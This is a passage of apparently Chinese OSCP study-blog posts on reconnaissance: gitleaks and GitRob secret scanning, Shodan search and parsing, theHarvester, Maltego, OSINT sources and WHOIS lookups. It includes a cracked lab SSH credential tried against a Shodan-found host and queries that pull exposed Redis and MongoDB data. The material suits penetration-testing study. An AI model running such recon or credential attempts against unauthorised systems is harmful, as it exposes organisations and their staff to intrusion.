gitleaks Docker 部署：\n1# 拉取镜像 2docker pull ghcr.io/gitleaks/gitleaks:latest 3# 扫描本地目录（将 /path/to/code 替换为代码路径） 4docker run -v /path/to/code:/scan_dir ghcr.io/gitleaks/gitleaks detect --source \u0026#34;/scan_dir\u0026#34; Homebrew：\n1brew install gitleaks 2gitleaks detect --source . GitHub Action 集成： 在 CI 流程中添加以下步骤：\n1- name: GitLeaks Scan 2 uses: gitleaks/gitleaks-action@v2 3 env: 4 GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 关键命令 功能 命令 扫描目录 gitleaks detect --source /path/to/dir 生成 JSON 报告 gitleaks detect --report-path report.json 自定义规则文件 gitleaks detect --config gitleaks.toml 1Gitleaks scans code, past or present, for secrets 2 3Usage: 4 gitleaks [command] 5 6Available Commands: 7 completion Generate the autocompletion script for the specified shell 8 detect detect secrets in code 9 help Help about any command 10 protect protect secrets in code 11 version display gitleaks version 12 13Flags: 14 -b, --baseline-path string path to baseline with issues that can be ignored 15 -c, --config string config file path 16 order of precedence: 17 1. --config/-c 18 2. env var GITLEAKS_CONFIG 19 3. (--source/-s)/.gitleaks.toml 20 If none of the three options are used, then gitleaks will use the default config 21 --exit-code int exit code when leaks have been encountered (default 1) 22 -h, --help help for gitleaks 23 -l, --log-level string log level (trace, debug, info, warn, error, fatal) (default \u0026#34;info\u0026#34;) 24 --max-target-megabytes int files larger than this will be skipped 25 --no-banner suppress banner 26 --redact redact secrets from logs and stdout 27 -f, --report-format string output format (json, csv, sarif) (default \u0026#34;json\u0026#34;) 28 -r, --report-path string report file 29 -s, --source string path to source (default: $PWD) (default \u0026#34;.\u0026#34;) 30 -v, --verbose show verbose output from scan 31 32Use \u0026#34;gitleaks [command] --help\u0026#34; for more information about a command. 以下是 Gitleaks 帮助文档的完整翻译及整理结果，附带常用示例用法：\nGitleaks 文档翻译 功能：扫描代码（历史或当前）中的敏感密钥（如 API Key、密码等） 命令格式：\ngitleaks [command] 可用命令（Available Commands） 命令 说明 completion 为指定 shell 生成自动补全脚本（如 bash/zsh） detect 核心功能：检测代码中的敏感密钥 help 查看命令帮助 protect 在提交时实时拦截密钥（通常用于 Git Hook） version 显示 Gitleaks 版本 全局参数（Flags） 参数 说明 -b, --baseline-path \u0026lt;路径\u0026gt; 指定基准文件路径（忽略已记录的漏洞） -c, --config \u0026lt;路径\u0026gt; 配置文件路径（优先级顺序：1. 本参数 \u0026gt; 2. 环境变量 GITLEAKS_CONFIG \u0026gt; 3. 代码目录下的 .gitleaks.toml \u0026gt; 4. 默认配置） --exit-code \u0026lt;整数\u0026gt; 检测到密钥时的退出码（默认值 1，常用于 CI/CD 流程） -h, --help 显示帮助信息 -l, --log-level \u0026lt;级别\u0026gt; 日志级别（trace/debug/info/warn/error/fatal，默认 info） --max-target-megabytes \u0026lt;MB\u0026gt; 跳过超过指定大小的文件（单位：MB） --no-banner 关闭横幅提示 --redact 安全：在输出中隐藏密钥内容（替换为 ***） -f, --report-format \u0026lt;格式\u0026gt; 报告格式（json/csv/sarif，默认 json） -r, --report-path \u0026lt;路径\u0026gt; 报告输出路径 -s, --source \u0026lt;路径\u0026gt; 扫描的代码目录（默认：当前目录 .） -v, --verbose 显示详细扫描日志 使用 gitleaks [command] --help 查看具体命令帮助（如 gitleaks detect --help）\n典型用法示例 1. 基础扫描（当前目录） gitleaks detect 扫描当前目录所有文件（包括 Git 历史记录） 检测到密钥时程序退出码为 1（可通过 $? 判断结果） 2. 扫描指定目录 + 生成报告 gitleaks detect \\ --source ~/projects/myapp \\ # 指定目录 --report-format json \\ # 报告格式 --report-path leaks.json # 输出文件 3. 安全扫描（隐藏密钥内容） gitleaks detect --redact -v 输出日志中的密钥将被替换为 *** -v 显示详细扫描过程 4. 与 CI/CD 集成（GitLab 示例） stages: - security gitleaks_scan: stage: security image: zricethezav/gitleaks:latest script: - gitleaks detect --exit-code 1 在 CI 流水线中检测到密钥立即失败（exit-code 1） 5. 使用自定义配置 gitleaks detect \\ --config custom.toml \\ # 自定义规则文件 --baseline-path baseline.json # 忽略已知问题 custom.toml：定义特定密钥规则（如公司内部密钥格式） baseline.json：忽略历史已处理的漏洞 注意事项 敏感操作： 使用 --redact 避免密钥在日志中泄露。 性能优化： 用 --max-target-megabytes 10 跳过大型文件（如二进制文件）。 Git 集成： protect 命令可配置为 pre-commit 钩子（实时拦截提交中的密钥）。 配置优先级： 灵活使用 -c 参数覆盖默认规则，避免漏报。 通过 gitleaks detect --help 查看所有参数说明，或访问 官方文档 获取完整配置示例。\n使用 GitLeaks 扫描 GitHub 仓库的完整步骤 1. 克隆目标仓库 git clone --depth 1 https://github.com/megacorpone/megacorpone.com.git cd megacorpone.com.git 2. 执行 GitLeaks 扫描 gitleaks detect -v --redact detect：扫描模式 -v：详细输出（显示所有检测结果） --redact：自动屏蔽敏感信息（防止二次泄露） 3. 生成报告（可选） gitleaks detect --report-format json --report-path leaks_report.json 生成 JSON 格式报告，便于后续分析 其他格式支持：csv, sarif, html 高级用法 1. 仅扫描最新提交 gitleaks detect --log-opts -1 2. 指定扫描范围 # 扫描最近 10 个提交 gitleaks detect --log-opts -10 # 扫描特定分支 gitleaks detect --branch develop 3. 自定义规则 创建规则文件 custom.toml：\ntitle = \u0026#34;Custom Rules\u0026#34; [[rules]] description = \u0026#34;MegaCorp API Key Detector\u0026#34; regex = \u0026#39;\u0026#39;\u0026#39;(?:mc)(?:[0-9a-z\\-_\\t .]{0,20})(?:[0-9a-f]{32})\u0026#39;\u0026#39;\u0026#39; tags = [\u0026#34;key\u0026#34;, \u0026#34;megacorp\u0026#34;] 使用自定义规则扫描：\ngitleaks detect --config custom.toml 4. Docker 方式扫描（无需克隆） docker run -v $(pwd):/path ghcr.io/gitleaks/gitleaks:latest detect \\ --source https://github.com/megacorpone/megacorpone.com.git \\ --report-format json \\ --report-path /path/leaks.json 结果解读示例 Finding: AWS Access Key Secret: AKIAIOSFODNN7EXAMPLE RuleID: aws-access-token File: src/config.py:15 Commit: d0d1c3c4d5b6a7b8c9d0e1f2a3b4c5d6e7f8a9b0 Author: dev@megacorpone.com Date: 2025-01-15T08:00:00Z 高危项：AWS密钥、数据库凭证、API密钥 中危项：内部邮箱、服务器地址 低危项：测试凭据、占位符 注意事项 法律合规：\n仅扫描授权仓库 避免公开泄露扫描结果 误报处理：\n使用 --baseline-path 忽略已知误报 gitleaks detect --baseline-path previous_report.json 性能优化：\n大仓库添加 --max-target-megabytes=50 限制文件大小 使用 --no-git 跳过Git历史扫描（仅当前文件） 敏感信息保护：\n始终使用 --redact 或 --exit-code（CI/CD场景） gitleaks detect --exit-code 1 # 发现泄露时返回非0状态码 扫描完成后，立即检查并修复所有发现的敏感信息泄露！\n🕵️ 二、GitRob：GitHub 仓库敏感文件扫描 核心功能 自动化扫描 GitHub 用户/组织的公开仓库，检测配置文件、密钥文件等高危文件（如 .env、id_rsa）。\n安装与使用 安装（需 Go 环境）：\n1sudo apt install golang-go 2go get github.com/michenriksen/gitrob 启动扫描：\n1# 使用 GitHub Token 扫描目标用户（替换 \u0026lt;token\u0026gt; 和 \u0026lt;username\u0026gt;） 2gitrob -t \u0026lt;github_token\u0026gt; \u0026lt;username\u0026gt; 注：Token 需在 GitHub Settings → Developer Settings 生成，权限勾选 repo 和 user。\n输出解读 结果按文件类型分类（如 Database、SSH Keys）。\n显示文件路径、仓库 URL 及风险等级。\n⚖️ 三、工具对比与联合使用建议 特性 GitLeaks GitRob 扫描目标 代码内容（敏感字符串） 仓库文件结构（高危文件名） 适用场景 本地/远程仓库深度内容检测 GitHub 公开仓库快速筛查 输出形式 JSON/命令行报告 命令行表格 联合策略 先用 GitRob 定位可疑仓库，再用 GitLeaks 深度扫描 ⚠️ 四、注意事项 法律合规：仅扫描授权目标，禁止未授权探测他人仓库。\n误报处理：GitLeaks 支持自定义规则（修改 gitleaks.toml过滤误报）。\n性能优化 ：大仓库扫描可能超时，建议通过--max-target-megabytes限制文件大小。\n💎 五、实战流程示例 graph LR A[GitRob 扫描目标用户仓库] --\u003e B{发现高危文件} B --\u003e|存在 .env 等| C[GitLeaks 深度扫描该仓库] B --\u003e|无风险| D[结束] C --\u003e E[生成泄露报告]Shodan网络空间搜索引擎 Shodan 是一个专注于物联网设备和网络服务的搜索引擎，可用于安全研究、漏洞发现和资产监控。以下是详细的使用方法：\n一、网页端使用（Shodan.io） 注册账户\n访问 Shodan官网，网址：https://www.shodan.io/dashboard 注册免费账户（免费账户功能有限，付费账户支持高级搜索）。 基础搜索命令\n关键词搜索：直接输入设备类型（如 webcam）、服务（如 ftp）或厂商（如 cisco）。\n过滤器（组合使用更精准）：\nport:：指定端口（例：port:22） country:：国家代码（例：country:CN） city:：城市（例：city:beijing） org:：组织/运营商（例：org:\u0026quot;China Telecom\u0026quot;） os:：操作系统（例：os:\u0026quot;Windows Server\u0026quot;） vuln:：CVE漏洞（例：vuln:CVE-2024-1234） 组合示例：\napache country:US port:80 用如下命令搜索该网站的22端口，因为我们刚刚破解了一个疑似是ssh登录的密码trivera:Tanya4life\n1hostname:megacorpone.com port:\u0026#34;22\u0026#34; 找到4个结果，最终测试发现149.56.244.87可以登录ssh，但是密码似乎不对。\n高级功能\n地图视图：搜索结果以地理分布展示。 漏洞筛选：点击 \u0026ldquo;Exploits\u0026rdquo; 标签查看相关漏洞。 资产监控（付费功能）：监控特定IP或网络的安全状态。 二、Kali Linux 命令行工具（shodan） 安装与配置 安装工具：\nsudo apt update \u0026amp;\u0026amp; sudo apt install -y shodan # Kali官方源安装 或使用Python pip：\npip install shodan 初始化API密钥：\n登录 Shodan 官网，在个人资料中获取 API Key。\n在终端配置：\nshodan init YOUR_API_KEY 常用命令 命令 功能 示例 shodan count \u0026lt;query\u0026gt; 统计匹配结果数量 shodan count apache shodan search \u0026lt;query\u0026gt; 搜索并显示结果（默认20条） shodan search \u0026quot;nginx country:CN\u0026quot; shodan download \u0026lt;文件名\u0026gt; \u0026lt;query\u0026gt; 下载原始数据（JSON格式） shodan download results \u0026quot;port:21\u0026quot; shodan parse \u0026lt;文件名\u0026gt; 解析下载的数据 shodan parse results.json.gz shodan host \u0026lt;IP\u0026gt; 查询指定IP的详细信息 shodan host 8.8.8.8 shodan scan list 列出主动扫描任务（需付费） shodan scan list 实用示例 搜索暴露的 Redis 服务：\nshodan search \u0026#34;product:redis\u0026#34; 统计中国区暴露的 SSH 服务：\nshodan count \u0026#34;port:22 country:CN\u0026#34; 下载所有暴露的 MongoDB 数据并解析：\nshodan download mongo_data \u0026#34;port:27017\u0026#34; shodan parse mongo_data.json.gz 优化显示\n1 shodan parse --fields \u0026#34;ip_str,port,org\u0026#34; megacorpone.json.gz 2 shodan parse --fields \u0026#34;ip_str,port,org,hostnames,domains,isp,product,version,os,location.country_name,location.city,location.latitude,location.longitude\u0026#34; megacorpone.json.gz 3 shodan parse --fields \u0026#34;ip_str,port\u0026#34; --separator \u0026#34;,\u0026#34; \u0026gt; megacorpone.csv Shodan 的 --fields 参数支持丰富的字段选项，这些字段对应 Shodan 扫描结果中的 JSON 属性。以下是常用字段分类及示例：\n核心字段 字段 说明 ip_str IP 地址 (字符串格式) port 端口号 org 组织/ISP (如 \u0026ldquo;Google LLC\u0026rdquo;) hostnames 关联的主机名列表 domains 关联的域名列表 asn 自治系统号 (如 \u0026ldquo;AS15169\u0026rdquo;) isp 网络服务提供商 transport 协议类型 (tcp/udp) product 检测到的产品 (如 \u0026ldquo;nginx\u0026rdquo;) version 产品版本 os 操作系统信息 地理位置字段 字段 说明 location.country_code 国家代码 (如 \u0026ldquo;US\u0026rdquo;) location.country_name 国家全名 (如 \u0026ldquo;United States\u0026rdquo;) location.city 城市名 location.region_code 地区/州代码 (如 \u0026ldquo;CA\u0026rdquo;) location.postal_code 邮政编码 location.latitude 纬度 location.longitude 经度 HTTP 服务字段 字段 说明 http.title 网页标题 http.server HTTP 服务器头 http.headers 完整 HTTP 头信息 http.robots robots.txt 内容 http.sitemap 站点地图链接 http.security.txt security.txt 内容 SSL/TLS 证书字段 字段 说明 ssl.cert.subject 证书主题 ssl.cert.issuer 证书颁发机构 ssl.cert.expired 是否过期 (true/false) ssl.cert.validity.start 证书有效期开始 ssl.cert.validity.end 证书有效期结束 ssl.cipher.version SSL/TLS 版本 ssl.jarm JARM 指纹 漏洞与安全字段 字段 说明 vulns 漏洞列表 (CVE IDs) opts.vulns 漏洞详情 (需企业权限) cpe CPE 标识符列表 shodan.ptr PTR 记录 特殊字段 字段 说明 banner 原始 banner 信息 data 完整响应数据 timestamp 扫描时间戳 (ISO 格式) _shodan.id Shodan 扫描 ID _shodan.module 使用的扫描模块 使用技巧 嵌套字段访问：使用点号访问嵌套属性\nshodan parse --fields \u0026#34;ip_str,port,location.country_code\u0026#34; data.json.gz 查看所有字段：提取一条完整记录检查可用字段\nshodan parse data.json.gz | head -n 1 组合关键字段：常用组合示例\n# IP + 端口 + 国家 + 组织 + 产品 shodan parse --fields \u0026#34;ip_str,port,location.country_code,org,product\u0026#34; data.json.gz 💡 提示：字段可用性取决于扫描类型和服务类型（HTTP/SSH/FTP 等）。使用 shodan host \u0026lt;IP\u0026gt; 命令可查看某 IP 的完整字段结构。\nSecurity Headers Scanner 安全标题扫描器 网址：https://securityheaders.com/\nSSL Server SSL服务测试 网址：https://www.ssllabs.com/ssltest/analyze.html\nhttps://www.ssllabs.com/ssltest/\nPastebin存储和共享文本的网站。 网址：https://pastebin.com/\nstack overflow国外代码问答网站 网址：https://stackoverflow.com/questions\ntheharvester 用户信息收集 theHarvester 是一款强大的开源情报（OSINT）收集工具，用于从公开来源挖掘目标信息（如域名、邮箱、IP、子域名等）。以下是其核心用法详解：\n基础语法 theHarvester -d \u0026lt;domain\u0026gt; [选项] -d / --domain：目标域名（必需参数） 示例：theHarvester -d example.com 核心功能选项 1. 指定数据源（关键选项） -b, --source \u0026lt;数据源\u0026gt; # 指定搜索源（默认：baidu,bing,duckduckgo,google） 常用数据源：\ngoogle：Google 搜索 bing：Bing 搜索 linkedin：LinkedIn 员工信息 twitter：Twitter 相关账号 shodan：Shodan IP/服务扫描 dnsdumpster：DNS 子域名挖掘 certspotter：SSL 证书信息 github：GitHub 代码泄露 完整列表：all（使用全部可用源） 示例：\n# 使用 Google 和 DNSdumpster 搜索 theHarvester -d example.com -b google,dnsdumpster # 使用全部数据源 theHarvester -d example.com -b all 2. 限制结果数量 -l, --limit \u0026lt;数量\u0026gt; # 限制每个数据源返回结果数（默认：500） 示例：theHarvester -d example.com -l 100\n3. 主动扫描扩展 -s, --scrape # 抓取网站提取额外邮箱（可能触发反爬） -v, --virtual-host # 验证虚拟主机（检查IP是否托管多域名） -n, --dns-lookup # 对发现的域名执行DNS解析 -c, --shodan # 使用Shodan API扫描发现的IP（需API密钥） 示例：\ntheHarvester -d example.com -b all -s -n -c 4. 输出控制 -f, --filename \u0026lt;文件\u0026gt; # 结果保存到文件（默认：results/\u0026lt;domain\u0026gt;.html/.xml） --filename # 仅控制文件名前缀（自动追加格式后缀） 示例：\n# 保存为JSON格式 theHarvester -d example.com -f results.json -b google 高级用法 1. 代理配置（绕过封锁） --proxy # 使用代理（需在配置文件中设置代理服务器） 配置文件路径：/etc/theHarvester/proxies.yaml\n2. API密钥配置 部分数据源（如Shodan、GitHub）需API密钥：\n编辑配置文件：/etc/theHarvester/api-keys.yaml\n添加密钥（示例）：\nshodan: YOUR_SHODAN_API_KEY github: YOUR_GITHUB_TOKEN 3. 组合实战示例 目标：全面收集企业信息并验证服务\ntheHarvester -d example.com \\ -b google,dnsdumpster,linkedin,shodan \\ # 指定核心数据源 -l 200 \\ # 限制结果量 -s -n -v -c \\ # 启用主动验证 -f full_report # 输出到文件 输出结果解读 工具输出包含以下关键信息：\nHosts (IP地址)：发现的服务器IP Emails：关联邮箱（含来源） Subdomains：子域名列表 Virtual Hosts：共享IP的域名 Shodan Data：开放端口/服务详情（需-c） 关联人员（LinkedIn/Twitter来源） 注意事项 法律合规：仅用于授权测试，避免滥用 速率限制：搜索引擎会封禁高频请求，建议： 限制结果数（-l 100） 使用代理（--proxy） 避免频繁执行 API密钥：Shodan/GitHub等源需配置密钥才能生效 💡 提示：使用 theHarvester -h 查看完整帮助文档，获取最新数据源列表和选项说明。\n练习题 使用TheHarvester枚举megacorpone.com的电子邮件地址。 1theHarvester -d megacorpone.com -b bing 2emailharvester -d megacorpone.com 3proxychains emailharvester -d megacorpone.com # 带代理查找 Social Media Tools 社交媒体信息收集工具 网址：https://www.social-searcher.com/\n基于特定网站的搜索工具 Twiter https://digi.ninja/projects/twofi.php\nLinkedIn https://github.com/initstring/linkedin2username\n可以自行再github上搜索相关工具。\nOSINT Framework 开源情报框架 网址：https://osintframework.com/\n介绍了一些国外常用的收集信息的工具和网站，基于该框架搜索和收集信息\nMaltego 网址：http://www.paterva.com/buy/maltego-clients.php\n安装后免费注册一个账号即可使用\nMaltego 是一款强大的开源情报（OSINT）和网络关系可视化工具，用于信息收集、关联分析和数据取证。以下是详细使用指南：\n一、核心概念 实体（Entities）\n基本数据单元（如 Domain, IP, Person, Email, Phone 等） 右键可执行操作（Transforms） 变换（Transforms）\n对实体执行的操作（如查找关联域名、邮箱、IP等） 图谱（Graph）\n可视化展示实体间的关系网络 二、基础工作流程 步骤1：创建新项目 启动 Maltego → New → Graph 命名项目（如 megacorp_investigation） 步骤2：添加起始实体 左侧面板选择实体类型（如 Domain）\n拖拽到工作区 → 双击输入目标（如 megacorpone.com）\ngraph LR A[Domain: megacorpone.com] --\u003e B[Run Transforms] 步骤3：执行变换（Transforms） 右键实体 →\nRun Transform → 选择模块\n常用变换： To DNS from domain（解析DNS记录） To Website from Domain（查找网站） To Email addresses（挖掘邮箱） To IP addresses（解析IP） 步骤4：扩展分析 对新生成的实体重复步骤3\n示例路径：\nDomain → IP → Netblock → Other domains ↓ Email → Person → Social profiles 三、实战案例：调查公司资产 目标：挖掘 megacorpone.com 相关资产和人员\n起始点：添加 Domain 实体 → megacorpone.com\n执行变换：\ngraph TB A[Domain] --\u003e B[To DNS names] A --\u003e C[To IP addresses] A --\u003e D[To Email addresses] B --\u003e E[Subdomains] C --\u003e F[Server IPs] D --\u003e G[Employee emails] 深度挖掘：\n对IP运行 To Netblock → 发现同网段其他服务器 对邮箱运行 To Person → 关联LinkedIn资料 对人员运行 To Social Networks → 发现社交媒体账号 四、高级技巧 1. 自定义变换组合 创建\nMachines （自动化工作流）：\nMachines → Create new Machine 拖拽实体和变换构建流程 示例：自动完成 Domain → IP → Port Scan → Services 2. 数据源集成 安装Transform Hub模块： Shodan（IP扫描） Hunter.io（邮箱挖掘） VirusTotal（威胁情报） 配置API密钥：Transforms → Transform Hub → 激活服务 3. 可视化优化 颜色标记：右键实体 → Change Color（如红色标记高危IP） 关系线调整：拖动连线调整路径 布局优化：Layout → Organic / Hierarchical 4. 数据导出 导出图谱：Export → PNG/PDF/SVG 导出数据：Export → CSV/GraphML 生成报告：Reporting → Create Report 五、常用变换模块 变换名称 功能 适用实体 To DNS from domain 解析子域名 Domain To IP Address [DNS] 解析IP地址 Domain To Website [Domain] 发现关联网站 Domain To Email addresses [Domain] 挖掘邮箱 Domain To Netblock [IP] 查找IP所属网段 IP To Domain [SSL Cert] 通过SSL证书发现域名 IP To Person [Email] 关联人员信息 Email Shodan: Scan IP 端口扫描 IP 六、最佳实践 分层调查：\ngraph LR L1[基础设施] --\u003e DNS/IP/Netblock L2[人员] --\u003e Email/Person/Social L3[威胁] --\u003e Vulnerabilities/Breach 保存检查点：File → Save as Snapshot\n使用书签：标记关键实体（右键 → Bookmark）\n避免噪音：设置过滤器（View → Filter Entities）\n七、学习资源 官方教程：Help → Interactive Tutorials 案例库：Maltego Use Cases 认证课程：Maltego Certified Examiner (MCE) ⚠️ 注意：\n遵守法律和道德规范，仅用于授权测试 社区版功能有限，企业版支持更多数据源 敏感操作（如端口扫描）可能触发安全警报 通过 Maltego 的可视化关联分析，您能将碎片信息转化为可行动的情报，极大提升渗透测试和威胁调查效率。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-05-30T14:54:26Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day17-kali%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/","title":"Day17 Kali开源信息收集"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n被动信息收集（Passive Information Gathering） 与 主动信息收集（Active Information Gathering） 的区别 在网络安全、渗透测试和威胁情报分析中，这两种信息收集方式的核心区别在于 是否直接与目标系统交互。\n1. 被动信息收集 定义： 通过公开资源或第三方数据源获取目标信息，​​不直接与目标系统或网络通信​​。 特点： 隐蔽性高：目标无法感知被探测。 依赖公开数据：利用搜索引擎、社交媒体、DNS记录、数据库等。 法律风险低：通常不违反法律（需遵守隐私政策）。 常见方法： 搜索引擎：Google Hacking（site:, filetype: 等语法）。 WHOIS查询：获取域名注册信息（注册人、DNS服务器）。 DNS解析：通过公开DNS记录获取子域名、IP地址（如 dig、nslookup）。 历史数据：查看网页快照（Wayback Machine）、漏洞数据库（CVE、Exploit-DB）。 社交媒体：LinkedIn、GitHub（员工信息、代码泄露）。 Shodan/Censys：搜索暴露的物联网设备和服务。 适用场景： 渗透测试初期，确定目标范围。 威胁情报分析，追踪攻击者基础设施。 避免触发目标安全告警（如IDS/IPS）。 2. 主动信息收集 定义： ​​直接与目标系统或网络通信​​，通过发送探测请求获取信息。 特点： 交互性强：可能触发安全机制（如防火墙、日志记录）。 信息更精准：直接验证目标状态（端口开放性、服务版本）。 法律风险高：未经授权的主动探测可能违法（如《计算机欺诈与滥用法》）。 常见方法： 端口扫描：Nmap（-sS 半开扫描）、Masscan。 服务指纹识别：Banner抓取（Telnet、Netcat）、Nmap脚本（-sV）。 漏洞探测：Nessus、OpenVAS（验证已知漏洞）。 网络嗅探：Wireshark、tcpdump（分析流量）。 暴力破解：Hydra（测试弱密码）、DirBuster（目录枚举）。 主动DNS查询：直接向目标DNS服务器请求记录。 适用场景： 渗透测试中后期，验证漏洞可利用性。 红队行动中模拟真实攻击行为。 需获得明确授权（如授权渗透测试）。 对比表格 特征 被动信息收集 主动信息收集 交互性 不直接与目标交互 直接与目标交互 隐蔽性 高（目标无法察觉） 低（可能触发告警） 数据来源 公开资源、第三方数据库 目标系统的响应数据 法律风险 低（需遵守隐私政策） 高（需明确授权） 常用工具 Shodan, WHOIS, Wayback Machine, Google Nmap, Nessus, Hydra, Wireshark 渗透测试阶段 前期（侦查） 中后期（漏洞利用、横向移动） 实战建议 优先被动收集： 在未授权时仅使用被动方法，避免法律风险。例如：通过GitHub搜索目标代码泄露。 主动收集需授权： 在渗透测试中，主动扫描前必须获得书面授权。例如：使用Nmap扫描客户网络。 混合使用： 结合两者提高效率。例如：被动收集子域名后，主动验证其存活性和服务版本。 开源情报（OSINT，Open Source Intelligence）是指从公开可获取的来源中收集、分析和利用信息，用于支持决策或安全分析。其核心特点是数据来源完全公开（如互联网、媒体、政府记录等），无需侵入目标系统，但需通过技术手段筛选有效信息。\n什么是开源情报，如何获取开源情报？ 开源情报（OSINT）的核心特点 公开性：数据来自免费或公开渠道（如网页、社交媒体、数据库）。 合法性：遵守隐私政策和法律法规（如 GDPR、CCPA）。 非侵入性：不直接与目标交互，避免触发安全告警。 多样性：覆盖文本、图像、视频、元数据等多种格式。 可验证性：通过交叉比对多个来源提高信息可信度。 如何获取开源情报？ 1. 基础数据来源 搜索引擎： Google Dorking：使用高级语法（site:example.com filetype:pdf）挖掘敏感文件。 Bing/Yandex：特定区域或语言的内容（如俄语信息用Yandex更高效）。 社交媒体： LinkedIn：挖掘员工职位、技术栈（如“某公司使用Apache Tomcat”）。 Twitter/Telegram：追踪威胁情报（如勒索软件团伙的暗网活动）。 GitHub/GitLab：搜索代码泄露、API密钥或硬编码密码。 域名与IP： WHOIS查询：获取域名注册人、邮箱、电话（工具：WhoisXML API）。 DNS记录：通过 dig 或在线工具（ViewDNS）解析子域名和MX记录。 证书透明度日志（如crt.sh）：发现目标关联的SSL证书和子域名。 2. 高级技术工具 网络资产测绘： Shodan：搜索暴露的物联网设备（如摄像头、数据库）。 Censys：分析IP的开放端口和服务指纹（如Apache版本）。 FOFA：国内版Shodan，侧重中文目标。 元数据提取： ExifTool：从图片中提取GPS坐标、拍摄设备。 FOCA：分析文档（PDF/Word）中的隐藏元数据。 历史数据： Wayback Machine：查看网站历史快照（如已删除的登录页面）。 DNS历史记录：通过SecurityTrails追溯IP变更。 3. 自动化与框架 OSINT集成工具： Maltego：可视化关联分析（如域名→IP→员工邮箱→社交媒体）。 SpiderFoot：自动聚合WHOIS、DNS、漏洞库等数据。 theHarvester：批量收集邮箱、子域名（支持Google、Bing、PGP密钥服务器）。 自定义脚本： 使用Python（requests、BeautifulSoup）爬取特定网站数据。 调用API（如Twitter API、Shodan API）实现数据批量获取。 4. 暗网与威胁情报 暗网监控： 使用 Tor浏览器 访问暗网论坛（如Dread），搜索数据泄露记录。 工具：DarkSearch.io（暗网搜索引擎）。 漏洞与威胁库： CVE Details：查询已知漏洞的利用方式。 VirusTotal：分析文件哈希、URL关联的恶意活动。 AlienVault OTX：获取全球威胁情报指标（IOC）。 实战案例 定位数据泄露来源： 在GitHub搜索 companyname password，发现员工误传的配置文件含数据库密码。 通过Shodan验证该数据库IP是否暴露在公网。 钓鱼攻击溯源： 从钓鱼邮件元数据中提取发信IP，用AbuseIPDB查询历史恶意行为。 关联该IP的SSL证书，发现注册邮箱与某暗网论坛账号一致。 供应链攻击分析： 通过Crunchbase找到目标供应商的客户列表。 使用Censys扫描这些客户的公网资产，发现共用同一脆弱SaaS服务。 注意事项 法律合规： 避免侵犯隐私（如爬取LinkedIn个人资料可能违反用户协议）。 在欧盟地区需遵守GDPR（如模糊化处理个人信息）。 道德准则： 仅用于授权测试或防御分析，禁止恶意用途。 信息验证： 交叉验证多个来源（如WHOIS邮箱是否与社交媒体账号关联）。 警惕虚假信息（如伪造的GitHub仓库或域名注册信息）。 总结 开源情报（OSINT）是“从公开信息中提炼黄金”的技术，核心在于：\n明确目标（如“获取某公司的网络拓扑”）。 选择工具链（如Maltego关联分析 + Shodan验证）。 自动化与人工分析结合，最终形成可行动的威胁情报。 Whois 信息收集 还是官方的靶机网址 https://www.megacorpone.com/\n1whois megacorpone.com 强制指定 WHOIS 服务器（某些域名需指定注册商服务器）：\n1whois -h whois.verisign-grs.com megacorpone.com WHOIS 输出信息解析 1. 关键字段解读 字段 说明 Domain Name 域名名称（如 example.com）。 Registry Domain ID 域名在注册局的唯一标识符（用于追踪变更）。 Registrar 域名注册商（如 GoDaddy、Namecheap）。 Creation Date 域名注册日期（可用于判断目标运营时长）。 Expiration Date 域名过期时间（若未续费可能被抢注）。 Updated Date 最后更新时间（如DNS记录或所有者变更）。 Domain Status 域名状态（如 clientTransferProhibited 表示禁止转移）。 Name Server 域名使用的DNS服务器（可进一步探测子域名）。 Registrant Contact 注册人信息（可能被隐私保护服务隐藏）。 Admin/Technical Contact 管理员和技术联系人信息（可能包含邮箱、电话）。 2. 隐私保护的影响 Whois Privacy：\n注册商提供隐私保护服务时，关键信息（如姓名、邮箱、电话）会被替换为代理信息：\n1Registrant Name: REDACTED FOR PRIVACY 2Registrant Email: contact@privacyguard.example 此时需通过其他方式（如历史记录、关联域名）绕过隐私保护。\n3. IP WHOIS 的额外信息 IP 范围：\n1NetRange: 192.0.2.0 - 192.0.2.255 # IP地址段 2CIDR: 192.0.2.0/24 # 子网掩码 3Organization: Example ISP # 所属机构（可能是ISP或企业） 3. 自动化工具整合 与脚本结合：使用 Python 的python-whois库批量查询域名：\n1import whois 2from datetime import datetime 3 4def get_domain_info(domain_name): 5 try: 6 domain = whois.whois(domain_name) 7 8 info = { 9 \u0026#34;域名\u0026#34;: domain_name, 10 \u0026#34;注册商\u0026#34;: domain.registrar, 11 \u0026#34;创建日期\u0026#34;: format_date(domain.creation_date), 12 \u0026#34;过期日期\u0026#34;: format_date(domain.expiration_date), 13 \u0026#34;最后更新\u0026#34;: format_date(domain.updated_date), 14 \u0026#34;状态\u0026#34;: list_to_str(domain.status), # 状态可能是列表 15 \u0026#34;DNS服务器\u0026#34;: list_to_str(domain.name_servers), 16 # 关键修复：处理字段为 None 的情况，统一转为 \u0026#39;N/A\u0026#39; 17 \u0026#34;注册人姓名\u0026#34;: getattr(domain, \u0026#39;name\u0026#39;, \u0026#39;N/A\u0026#39;) or \u0026#39;N/A\u0026#39;, 18 \u0026#34;注册人邮箱\u0026#34;: getattr(domain, \u0026#39;email\u0026#39;, \u0026#39;N/A\u0026#39;) or \u0026#39;N/A\u0026#39;, 19 \u0026#34;注册人电话\u0026#34;: getattr(domain, \u0026#39;phone\u0026#39;, \u0026#39;N/A\u0026#39;) or \u0026#39;N/A\u0026#39;, 20 \u0026#34;注册机构\u0026#34;: getattr(domain, \u0026#39;org\u0026#39;, \u0026#39;N/A\u0026#39;) or \u0026#39;N/A\u0026#39;, 21 \u0026#34;地址\u0026#34;: getattr(domain, \u0026#39;address\u0026#39;, \u0026#39;N/A\u0026#39;) or \u0026#39;N/A\u0026#39; 22 } 23 return info 24 except Exception as e: 25 return {\u0026#34;错误\u0026#34;: str(e)} 26 27def 